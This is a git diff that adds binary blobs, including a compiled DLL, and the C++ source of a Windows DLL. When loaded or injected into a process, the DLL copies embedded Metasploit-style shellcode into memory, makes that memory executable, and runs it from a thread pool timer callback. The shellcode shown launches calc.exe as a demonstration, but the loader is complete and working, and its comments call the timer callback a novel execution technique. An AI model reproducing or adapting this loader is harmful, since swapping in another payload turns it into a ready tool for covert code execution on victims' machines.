zgLE5UJMKoL=|#oA;C>W3>71X=T|=sXbVf?~1lQm$0ssH}%fR1xzqo4Nge8KT^uFK6XsSO5wEi0SXIH905ID33J&^jwv*XV1h4Nh)pstfpo z{)W(GEXiio23w}IPaW^XRNmBp_5RIzYf$BMmV^S~V90||Ewx?#IogUY=W>t?`mmI5 z3aybiass|@gki;3Um0j>$DF^)7fcZK4`?C}k?%|YLI=hX>4C0C!{O3BqJK9yXZC>+E~uGZ=eh^`&Zo28)&= zb(?*gb6epyWn1MoWVRtz0t{@AZ6DfxdOLf}`k4K({KuS+O?b@pnDSWVV<4^*@|(79 k*}8qJkX*X0W?Li4Z_&=x`?s9lqW>}kw6CuJ5jF6?0iBoIZU6uP literal 0 HcmV?d00001 diff --git a/Dll1.dll b/Dll1.dll new file mode 100644 index 0000000000000000000000000000000000000000..e22015f04b2f875c3798ed9016c27c7f78cb8b1d GIT binary patch literal 13312 zcmeHN3v^V~x!#jxlJFQOKn4S9Ilx51Dv2ROl~-hjByvJ05R&i^B9kzgB%_m=xie=V zuxJgPq$M22VsBkbZ?y$msamS^Nr>(3giw$f1h*8HXmTgjIk8ls>)agAYFF;{Ldd(QGDI3&g<9@ zCpHOdHgWj$rAiK;x>OE$%NL*I{4HruUc3kNukU-5 z%m4bms*9UB{lq1L6<&8E=^o#c@)E}CzL?5>@7>XuC>vsPgh@%)Enw5Z5j1XV7GMU) zTMPsUPhu>Uvqm6000ub`R}!m%s8%TfK1mOAc%82rf5b=gT@C>(Nw$9)n6 zLUPppsLRgfJiY(~$w%ZXE>}Rr$Yp12PYpd>#bZncr!FjH3fJ(8w=TODTYF;-Cht zswEx5Xzx{!oh=N0l6$#}m7o2Id<17J7OF3!RWb#A{SEaIeH|cr&q?Z>i^qh$5`E3! zrN&?(3G-MW_qUxjx6T2Keqb=SH37kp#!N5H#ztlN?oIS;z!Qe_gT*_|4cTv{{wp?a zi%xuz6DAidR(1jB-M95Qj#D%_I%q*rElZ$HY&Y&I255^%rlGM7RG}0VY!@!?fmWy7 zi}o79c=b%7f-9j)S0&f<6j54mu9HA9O$H0nh`Whd>XBQNl^zv!rHxqJh{ z=XQwnlE@!EYhD>U^fCWnwc*z6;=HlML zwGgWYp?pKr8DEKJFNke@l1a75q^A9*Bj90B9wC4N%ZOPOnn09FVy0r!vk`has5uH@ z3PlRxIYjR{NwGSzoaw7(JqEWG<&aordSWS-gAB2&E2IAXE>(>fy2Y-(jLZ9y89RL% zD{4;LS!qf1O@ov}kLd_+X`<^xQt)^S4+QcTwDAZ7DE~T{mW#-IWxggZ zpq%?LW-6lc2T|T*e95kD!}bDo-znujWCZqBHL^l^2^e3r7c94FJoJ!zMu-;9A)_O=D$CF_0q=8QtdU6ux+Robd{X)6O2kD%0JA~!#!Eb6dq>~LWLX@$VZ4#XA_N?}DjE|VU zVIv;BZ@FL5gx7oJi6##K1dWrRYT-f=qo@q+gYmid6bE5 z?;)U+Q+&lXo<*F=j_Hmv=MR#US!BO#|+CJtLY zm}Ag3TBNyJM?stG4Iy7^VReO69BaE28{1CPu`ld<|iVJcF_e1jX>cW6WKb zzXqEz*4RUM(4V*Usg~~RDY&rRJ_$s%{DhOeofA?R%_U)rsAl&P58Hh@sx3Ya0&*t- z(CsvyK0H4kD?z~$jQtZR6y;(>TDx%uhKVwO#bPv$DQA2F0_b-VvD=N|#hRoY_zslx z7|Xz+W_ygQfYI#gF|O0G4#X4_?}^irQ%W^^QVbONBYfFZi&P(GrU(h90Snmv1QQi= zvS6VK9~?l>7I(uBJYz%XoL4PBn2y@=53WL~O~ryri);;is9N?=3HrKRl!=A?x{+31 zSiv_q@=QL4j|zfBT*MjUzaJh|d%} zdMWpzPXk-l9oZqq$}+^Bk_^(XT8g+`C72E+L)gbH2*( zkk~aKh&JH1k|EL7CGzx=j;rEa5Vn!lupe|`0B$BL5G>{5`~4s{5{W5)SNCbSZ9dX9 zM8Wsb9Oh`uGz0YIS7=R&8E*pKjjrS{H{P-zmFOQ-={T+>Q-uX)08K%=nT$KmVw3+ z*sQTr3gUxl%0GcPYTyl09W3Oz2p=ru4`})ly4;X!jYp``RAqxkq$y=U2Cs~&&)ZOL z9Z{NCA1RN=KuFdsed1lCg$Z--vT_6~8y7YN3|@4-zai6$&~ME zGt!4if%Vu9lQAt1qb~1j16Lwtz{zjWETK*75O~T{ns%e|5Eq4G^?u&3)0g*h1bby) zB<)$_BdBdqnrSr-pg`|)rm{^VCcr}*feyZ@_d2mAv=r8%CX>%c8lu+>JMLCq#zKve z%W1n1vBIh~C{-q)Cb~*iZXo)aCX)xR+Um^#<9Qs7#b~ek2lKtgn;<~(1wbT0khcIl zYrKY8Z{P+9Te^=!2~$4CgO5A5wyut{%}BbI7~5Y%QqU~AO+NvGjdLe~g(4#}y35KwN7zKfVJct}56i4>ZQa~=Uile9(RLPo znbdkAk|uu1ax*P$v|8#iErmCL!}gt*Qd-YOCM$2!hIvYP9U#$Rim90KE{Jva80U~Q zF3cCoPu7dEBUU>lXM3*1;TZY6zUr>QTLd(lBAhQ|N3(d4AcDqoW_{l~s5U zsajses|QhjM1hzXd*B@LLPfN$@s$OLK>J3R zYj5l2%~52xw^2)E3uihy9;Al((%-h1O#Lnl7G` zPwW~{h|EijVF3dos+O75Al6vBYEiK^A_7gAY*KnmOjbJiX8f?VAI?I~Nj{^si+ssv zsu;WJ!c3}O_!7Y2RAfuk|5VlTFlmi;r;E!jg)VEeljdaNTuJ+6?53x+x{r^mTk{v{ zo7+BV!qc=pe^}-5M<%@(6IJu0 z^0mm;?4cESAJAhQxCNeRfsH-Je*=oqRtw{)1}5bc)}$seX?9_dz)a)OYabyI5_VX{ z;|6S=`pVD^Q9Wh55 z*(kq*bF#Vf^$FogsF#F#dm)ZIYqyENsEUanm>(^c&vsbR%ra#+uT(5wz=l=?E5+!* z$34cIfN8t<^}uMi#?-e0HFy4dW_T8ae&1ufig#Fg(F7Fr7ze??0z*PKn4>l*fI)_S zvFkNKoYXJkWrKjC8_m&=NFh=U!J4`})!glLXWWxBmx8lQDDa*)epO6;Kg(MVAY>s=I4l7))%>rw=n0#(i0KN+3LZLnm&uC z9fB8nj7xx$wWzWh=wKRz96-#Szr8*@Su}SJVf>A^fa5TCzBVnqdPLs}hkVL`)UNAt zMz+dQSoGD@c4Ic}ynFiQ!*k;MXT-UtcXLU(=`DcehV7HY=&L^ic@ZQjw1h2OAsQN( z7M=j`nG-0271c;X;-c(JB>vHp8T%;?4;`uX4&tW z==m{!ik!2QKNs-lbpFiZ&v&@YNBsFaJWroKYUqZ3ZSOCW9oXugE0xbEDAUd)e4|EN z_R11DOO#)6L|?z^l=~d-u@t9#Mw;f3?dfIi@|5?_Ig`(b?q28IGo|kC)pBNrC>LcQ zbpS|zuh@`mmT-UvJU&D@$J{Pwa<9{dw)(bQ{?^-IW#7T=p?;0MM$Vt=z}OOv8daXX z3p(uUF@FV7esfx#;k8#2!bthv6lH^qr2z{n z1+z0|%7U#po!P8_3c@VppBcq+9h{^4`2S{`akf%rrWhf z>vh#$shuh})Zk93&f(C8O*dVx-_ z*5NrFp3vdrI^3$m`*ax6p{9+o`}Fp<>+mTZUKuC1MsN2EI=owlQ+2pNhfIg>=z4yu zL#AKPjiapsYcZfK0sH4_^w2n%sDDJ~C+NQxJi1P6x4c4w3B9xdkG_i7QdZ3*=3!0v z6h)X9n1_X!i}_f9HQ*zS#F}wy*Ou)3g1V){kG$-BTisnkc6g#*Ugd4_gzzcQ=i656 zzDKC{hCFq%h4Rwkr9!qZvOuUB#)<;SBbue9LVk00kd=9w0->GsEm88gC2znlxEpKz z4W2qd3J9KNk2@mOZu5Cq2}iyD1|i(&@%h~NyeMq<)(X;?cJuP`bbBg?r8Fg6bD$~c z^GMJgj=0^PaJW9=^X=3s+)?ZGX^m>_3r*t<%M(gMp+JcDhp|eJB#||dpk_kuw%Rc2 z4>y*uWJE7q6L8l`o`mN5Kxm{d%%PXoC5mek9@6X^>5n@Q^lFwSG$!hhWL0CxQ(Gql z0|DR2Xn6eFy`g}=$>W#seby^^Ykl5bo;s2rvCoZ)uudAKfIF9@#_H95&gIAZQj3GI zN22kgD4-9*HX-bB2mEzm#>U1S^wRhhJDquTJ|9HyMi8KLUO#FhCTNg`gGjT3Lm<>`@c25nk?_bcs*zVrnt&0))tjiR=SEysvJe4kSi4VJhgs(v_qb7AQFOM+#JS> zMz^i8$9|jDd4Cm9K6YLwbk;1?_(2^e_`{GEr@!IVa@(J`vr)INS%)n;+^fR_IwVsQ z-|Q*RUW@yU+i=gOl94jJfM)bbdl6o1Et*3mBW0AhiKr~1OdMB+6!33)Wudj?mgJTP z(T7FAPXiKf?hMAhf%}KJ3-L<568E%EF=m>@*b3bDqQCdy9>Q%$AMVE;#OX7L&ROT; zdp>l$2ly4hipt{3SEM2LcLq;oV|U;w`Uo^FIrl?KI{pFtE);Xt4b=WwE(UT zd4hp(b+OO4u)6uyMb#A^M0wc58Te|y4Ha>rDSjsbPQ$&bsLDzI55z(6e+sNkey~{_ zHsGi=%(Ld_58I{5HS_QJH83d8OaBB|ab&;`2MZa)@UXo6e0O~VV-JE(C%UKtubzq= zBy(^qZ!_^8AHyr-Z8u?F4qqpx~kh!#pMRTJBWlf@t*|Z zoY6w6(bnw&pVUM&#p)3_P3Q00wX1F$y2lPI)%zEc+}2VDZ|A`=yv@9wgQIy>n%v`K zc$(Z%@ZK<>oo4Mn3;MsLob1tj%>Rsd13a1|I?o1_T?KE{SWrkZ$`QYgqo*!M!^xE$ zB>npT9tYPUZgFzV+ZNVVz#8rUmBfD@^j`~D=r{i7u;#;Cpuu}^gg5SQ4U+ieWteJY zQ@33gG}TNlpOnwoj9ErzTC|Rt3~N{_^esTV)xf_Re>wO|hxu{XJL86AHo>rxC7~|K zG74Z^C}LAA>C7TcV3xWxW?7WVECo{r2IgoYR}t_H)3rH8^3MT(c@%BHTZ`0!r1B{f zQ`p2s>1<*}YLM!tK-PRcV+(PctW*;`;3c?k*6B6C?;KT5^yX3Jh7d>q(7{qkhWjIxO)N+aYVwe+g6twA%bW^%?h(iVa=jQAiowLyNcl8) z=L!=X9J;|908dPuIZ(9Uj*z6N8pS&TUOJC7@W);MIQM7{`QJMC{Du|rJn#;r&l_2T z5qUA8?dr-@QM=1Scd@=6|(VGkpF3WPmkt-lVGBMFj4kx&R( zYPpvBmDaJ6QCuyz1(VH4-QW#Lky;-F>D++0AUS7kSmH@K_Ns&gPpt79n?bWv(?RJm z&pg@mgxnn=kB1#4`^Ss07xg|CBb{|iIIe7D?Aw~{pOF1*NyVBHr>%hUSz75`t|C`B z=y7}Ny>1syHs~q5k_~=Xs&h#@gC3XHUmtMQdBRdCu+!!9hS8hb8IB)FR2kb)RIz?d zRcTqt!bSO-PP10m8*m}tZ3_5Z+rz;Syj|}KV+V#duLRFGvD-#)mj}mnSJ>0&s`vU( z=py5?7!>&Hy$z9&$K|iZ*=C2UHq@{kFD|v3+9@GXH0lgN84Pbnmk9Vh&0fi+9n{zy z=F(0<9@m(H>1dDS7^@9>bDP4sJG}l}cSy>GBfNoJ-@@F5xmp*;mE*5c%GO6qq#G+F zUr}vPg6;Zwl4TIj83^1H3EmO$^Rr}$Ukc%TcRiKp0khtZW)VRj7}xu?;ixNVc6)+! z^h8kdm_0^O@E42iqasp|Q}!!k6`pE(aDmkuA@DxC-u5eGf?G+HV4Y>PBBctQ#7 z%PD%?LG*m&N_?pu;r!3A=kF5E*1x2^L7iS<5F_>mZWV@QdE zbgXlfSFGD0E$SHk z9P3C*Ub$Q}^vf-j_R^P-22ka)m{ly>g;GQR>l;KBp9U7~6%D`C_2?QF4@BN}CgWd# zk|k#%=Qcs!3i*16JXr*OBXEbDf@=MaO^!`l@7xS!syXcjsN?!`?y z2|ldj1b?aH=K$TvdC1N>z>jce0w*ZoJVtzir8-^%_#K?j%E3PZsNk*vP7v<^Ii3Uf zQ{-1Z@F@o^#Z5Li0gvF`4?f-#va`5bfa6^uKQrwGPG>sGBSpv)q#TlPf|UOePLOi7 zmw*%8i+d63{@0g*pFJ@gEn{Vo?}34o>l1wZ;KD?dQ7(V~*h-vQzM{FwCv3+l6ANkK zyoGuB^8}CI9jL==lfrrHtM15MJWmKq*Z^yN*cJ-s?ev7_t+?GZad~Yx>}lHO+bKYS zKU_F367nw%yBj@Cwc*?*uR9b72kNC<>~%|P!%cbH7tRx~V0!DZUv3!P8mYP^p$o*H zvGMPkg+W~a2h<#DJQO_Ce5mEnfkVonp+mio4Lqhi7CgN7@PWe*9zJ;Z@xy=DUiyFA G`TqcZ*s`7g literal 0 HcmV?d00001 diff --git a/dllmain.cpp b/dllmain.cpp new file mode 100644 index 0000000..2547c27 --- /dev/null +++ b/dllmain.cpp @@ -0,0 +1,170 @@ +// TimerDLL.cpp +#include "pch.h" +#include +#include +#include + +// Metasploit calc.exe shellcode (for demonstration) +unsigned char shellcode[] = +"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50" +"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52" +"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a" +"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41" +"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52" +"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48" +"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40" +"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" +"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41" +"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1" +"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c" +"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01" +"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a" +"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b" +"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" +"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b" +"\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd" +"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0" +"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff" +"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"; + +PTP_TIMER g_timer = NULL; +PVOID g_execMemory = NULL; + +void LogMessage(const char* message) { + HANDLE hFile = CreateFile(L"C:\\temp\\timer_log.txt", GENERIC_WRITE, 0, NULL, + OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); + + if (hFile != INVALID_HANDLE_VALUE) { + SetFilePointer(hFile, 0, NULL, FILE_END); + + SYSTEMTIME st; + GetSystemTime(&st); + char timestampedMsg[512]; + sprintf_s(timestampedMsg, sizeof(timestampedMsg), + "[%02d:%02d:%02d.%03d] %s\n", + st.wHour, st.wMinute, st.wSecond, st.wMilliseconds, message); + + DWORD bytesWritten; + WriteFile(hFile, timestampedMsg, strlen(timestampedMsg), &bytesWritten, NULL); + CloseHandle(hFile); + } +} + +// Timer callback function - This is where the novel technique executes +VOID CALLBACK TimerCallback(PTP_CALLBACK_INSTANCE instance, PVOID context, PTP_TIMER timer) { + // Get the current process ID and thread ID for logging + DWORD processId = GetCurrentProcessId(); + DWORD threadId = GetCurrentThreadId(); + + char logMessage[256]; + sprintf_s(logMessage, sizeof(logMessage), + "Timer callback fired! PID: %lu, TID: %lu, Context: 0x%p", + processId, threadId, context); + LogMessage(logMessage); + + // Change memory protection to executable + DWORD oldProtect; + if (VirtualProtect(context, sizeof(shellcode), PAGE_EXECUTE_READ, &oldProtect)) { + LogMessage("Memory protection changed to executable"); + + // Execute shellcode + LogMessage("Executing shellcode via timer callback..."); + ((void(*)())context)(); + + LogMessage("Shellcode execution completed successfully"); + } + else { + char errorMsg[128]; + sprintf_s(errorMsg, sizeof(errorMsg), + "Failed to change memory protection. Error: %lu", GetLastError()); + LogMessage(errorMsg); + } +} + +// Function to set up timer-based execution +BOOL SetupTimerExecution() { + LogMessage("Setting up timer-based execution..."); + + // Allocate memory for shellcode + g_execMemory = VirtualAlloc(NULL, sizeof(shellcode), + MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + if (!g_execMemory) { + LogMessage("Failed to allocate memory for shellcode"); + return FALSE; + } + + char memMsg[128]; + sprintf_s(memMsg, sizeof(memMsg), "Allocated memory at: 0x%p", g_execMemory); + LogMessage(memMsg); + + // Copy shellcode to allocated memory + memcpy(g_execMemory, shellcode, sizeof(shellcode)); + LogMessage("Shellcode copied to allocated memory"); + + // Initialize thread pool callback environment + TP_CALLBACK_ENVIRON callbackEnv; + InitializeThreadpoolEnvironment(&callbackEnv); + LogMessage("Thread pool callback environment initialized"); + + // Create thread pool timer - This is the core of the novel technique + g_timer = CreateThreadpoolTimer(TimerCallback, g_execMemory, &callbackEnv); + if (!g_timer) { + LogMessage("Failed to create thread pool timer"); + VirtualFree(g_execMemory, 0, MEM_RELEASE); + return FALSE; + } + + LogMessage("Thread pool timer created successfully"); + + // Set timer to fire after 3 seconds (for demonstration) + FILETIME dueTime; + ULONGLONG delay = (ULONGLONG)-(3 * 10000000LL); // 3 seconds + dueTime.dwHighDateTime = (DWORD)(delay >> 32); + dueTime.dwLowDateTime = (DWORD)(delay & 0xFFFFFFFF); + + SetThreadpoolTimer(g_timer, &dueTime, 0, 0); + LogMessage("Timer set to fire in 3 seconds"); + + return TRUE; +} + +// DLL entry point +BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) { + switch (dwReason) { + case DLL_PROCESS_ATTACH: + // Create directory for logging + CreateDirectory(L"C:\\temp", NULL); + + // Log DLL injection + char injectionMsg[256]; + sprintf_s(injectionMsg, sizeof(injectionMsg), + "TimerDLL.dll injected into process PID: %lu", GetCurrentProcessId()); + LogMessage(injectionMsg); + + // Set up timer-based execution + if (SetupTimerExecution()) { + LogMessage("Timer-based execution setup completed successfully"); + } + else { + LogMessage("Failed to setup timer-based execution"); + } + break; + + case DLL_PROCESS_DETACH: + LogMessage("DLL_PROCESS_DETACH - Cleaning up resources"); + + if (g_timer) { + CloseThreadpoolTimer(g_timer); + g_timer = NULL; + } + + if (g_execMemory) { + VirtualFree(g_execMemory, 0, MEM_RELEASE); + g_execMemory = NULL; + } + + LogMessage("Cleanup completed"); + break; + } + return TRUE; +} \ No newline at end of file